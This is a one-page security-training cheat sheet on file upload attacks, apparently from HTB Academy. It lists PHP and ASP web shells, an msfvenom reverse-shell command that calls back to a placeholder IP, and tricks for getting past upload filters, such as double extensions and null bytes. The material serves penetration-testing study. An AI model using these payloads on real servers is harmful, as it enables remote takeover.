HACKTHEBOX

FILE UPLOAD ATTACKS
CHEAT SHEET

Web Shells

Web Shell	Description
`<?php file_get_contents('/etc/passwd'); ?>`	Basic PHP File Read
`<?php system('hostname'); ?>`	Basic PHP Command Execution
`<?php system($_REQUEST['cmd']); ?>`	Basic PHP Web Shell
`<% eval request('cmd') %>`	Basic ASP Web Shell
`msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php`	Generate PHP reverse shell
PHP Web Shell	PHP Web Shell
PHP Reverse Shell	PHP Reverse Shell
Web/Reverse Shells	List of Web Shells and Reverse Shells

Bypasses

Command	Description
Client-Side Bypass	

Command	Description
`[CTRL+SHIFT+C]`	Toggle Page Inspector
Blacklist Bypass	
`shell.phtml`	Uncommon Extension
`shell.pHp`	Case Manipulation
PHP Extensions	List of PHP Extensions
ASP Extensions	List of ASP Extensions
Web Extensions	List of Web Extensions
Whitelist Bypass	
`shell.jpg.php`	Double Extension
`shell.php.jpg`	Reverse Double Extension
`%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, …	Character Injection - Before/After Extension
Content/Type Bypass	
Web Content-Types	List of Web Content-Types
Content-Types	List of All Content-Types
File Signatures	List of File Signatures/Magic Bytes

Limited Uploads

Potential Attack	File Types
XSS	HTML, JS, SVG, GIF
XXE/SSRF	XML, SVG, PDF, PPT, DOC

Potential Attack	File Types
DoS	ZIP, JPG, PNG

HTB ACADEMY CHEATSHEET